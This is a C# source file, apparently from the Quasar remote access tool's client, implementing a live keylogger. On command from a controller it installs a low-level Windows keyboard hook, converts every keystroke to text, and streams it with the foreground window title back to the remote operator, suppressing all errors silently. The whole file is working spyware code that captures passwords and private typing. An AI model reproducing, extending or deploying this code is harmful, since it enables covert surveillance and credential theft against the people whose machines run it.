using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;

namespace Quasar.Client.Messages
{
    public class LiveKeyloggerHandler : IMessageProcessor
    {
        private static Thread _keyloggerThread;
        private static ISender _client;
        private static bool _isRunning = false;

        public bool CanExecute(IMessage message) => message is DoStartLiveKeylogger || message is DoStopLiveKeylogger;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            try
            {
                switch (message)
                {
                    case DoStartLiveKeylogger _:
                        StartKeylogger(sender);
                        break;
                    case DoStopLiveKeylogger _:
                        StopKeylogger();
                        break;
                }
            }
            catch { }
        }

        private void StartKeylogger(ISender client)
        {
            try
            {
                if (_isRunning) return;

                _client = client;
                _isRunning = true;
                
                _keyloggerThread = new Thread(() =>
                {
                    try
                    {
                        KeyloggerCore.Run(_client);
                    }
                    catch { }
                });
                _keyloggerThread.SetApartmentState(ApartmentState.STA);
                _keyloggerThread.IsBackground = true;
                _keyloggerThread.Start();
            }
            catch { }
        }

        private void StopKeylogger()
        {
            try
            {
                if (!_isRunning) return;

                _isRunning = false;
                KeyloggerCore.Stop();
                
                if (_keyloggerThread != null && _keyloggerThread.IsAlive)
                {
                    _keyloggerThread.Join(1000);
                }
                
                _client = null;
            }
            catch { }
        }
    }

    internal static class KeyloggerCore
    {
        private static IntPtr _hookID = IntPtr.Zero;
        private static LowLevelKeyboardProc _proc;
        private static ISender _client;
        private static bool _isRunning = false;

        public static void Run(ISender client)
        {
            try
            {
                _client = client;
                _isRunning = true;
                _proc = HookCallback;
                _hookID = SetHook(_proc);
                
                if (_hookID == IntPtr.Zero)
                {
                    _isRunning = false;
                    return;
                }
                
                // Run message loop to keep hook alive
                while (_isRunning)
                {
                    try
                    {
                        Application.DoEvents();
                        Thread.Sleep(10);
                    }
                    catch { }
                }
            }
            catch { }
            finally
            {
                Stop();
            }
        }

        public static void Stop()
        {
            try
            {
                _isRunning = false;
                if (_hookID != IntPtr.Zero)
                {
                    UnhookWindowsHookEx(_hookID);
                    _hookID = IntPtr.Zero;
                }
            }
            catch { }
        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            try
            {
                using (Process curProcess = Process.GetCurrentProcess())
                using (ProcessModule curModule = curProcess.MainModule)
                {
                    return SetWindowsHookEx(WHKEYBOARDLL, proc, GetModuleHandle(curModule.ModuleName), 0);
                }
            }
            catch
            {
                return IntPtr.Zero;
            }
        }

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            try
            {
                if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN && _isRunning)
                {
                    int vkCode = Marshal.ReadInt32(lParam);
                    bool capsLock = (GetKeyState(0x14) & 0xffff) != 0;
                    bool shiftPress = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;
                    string currentKey = KeyboardLayout((uint)vkCode);

                    if (capsLock || shiftPress)
                    {
                        currentKey = currentKey.ToUpper();
                    }
                    else
                    {
                        currentKey = currentKey.ToLower();
                    }

                    if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
                        currentKey = "[" + (Keys)vkCode + "]";
                    else
                    {
                        switch (((Keys)vkCode).ToString())
                        {
                            case "Space":
                                currentKey = " ";
                                break;
                            case "Return":
                                currentKey = "[ENTER]\n";
                                break;
                            case "Escape":
                                currentKey = "[ESC]";
                                break;
                            case "LControlKey":
                            case "RControlKey":
                                currentKey = "[CTRL]";
                                break;
                            case "RShiftKey":
                            case "LShiftKey":
                                currentKey = "";
                                break;
                            case "Back":
                                currentKey = "[BACK]";
                                break;
                            case "LWin":
                                currentKey = "[WIN]";
                                break;
                            case "Tab":
                                currentKey = "[TAB]\n";
                                break;
                            case "Capital":
                                currentKey = capsLock ? "[CAPSLOCK: OFF]" : "[CAPSLOCK: ON]";
                                break;
                        }
                    }

                    if (!string.IsNullOrEmpty(currentKey))
                    {
                        string windowTitle = GetActiveWindowTitle();
                        
                        if (_client != null)
                        {
                            try
                            {
                                _client.Send(new LiveKeystrokeData
                                {
                                    WindowTitle = windowTitle,
                                    Keystroke = currentKey
                                });
                            }
                            catch { }
                        }
                    }
                }
            }
            catch { }
            
            try
            {
                return CallNextHookEx(_hookID, nCode, wParam, lParam);
            }
            catch
            {
                return IntPtr.Zero;
            }
        }

        private static string KeyboardLayout(uint vkCode)
        {
            try
            {
                StringBuilder sb = new StringBuilder();
                byte[] vkBuffer = new byte[256];
                if (!GetKeyboardState(vkBuffer)) return "";
                uint scanCode = MapVirtualKey(vkCode, 0);
                IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId));
                ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);
                return sb.ToString();
            }
            catch { }
            return ((Keys)vkCode).ToString();
        }

        private static string GetActiveWindowTitle()
        {
            try
            {
                IntPtr hwnd = GetForegroundWindow();
                GetWindowThreadProcessId(hwnd, out uint pid);
                Process p = Process.GetProcessById((int)pid);
                string title = p.MainWindowTitle;
                if (string.IsNullOrWhiteSpace(title))
                    title = p.ProcessName;
                return title;
            }
            catch
            {
                return "Unknown";
            }
        }

        #region "Native Methods"
        private const int WM_KEYDOWN = 0x0100;
        private const int WHKEYBOARDLL = 13;

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("user32.dll")]
        private static extern IntPtr GetForegroundWindow();

        [DllImport("user32.dll", SetLastError = true)]
        private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
        private static extern short GetKeyState(int keyCode);

        [DllImport("user32.dll", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool GetKeyboardState(byte[] lpKeyState);

        [DllImport("user32.dll")]
        private static extern IntPtr GetKeyboardLayout(uint idThread);

        [DllImport("user32.dll")]
        private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, 
            [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);

        [DllImport("user32.dll")]
        private static extern uint MapVirtualKey(uint uCode, uint uMapType);
        #endregion
    }
}
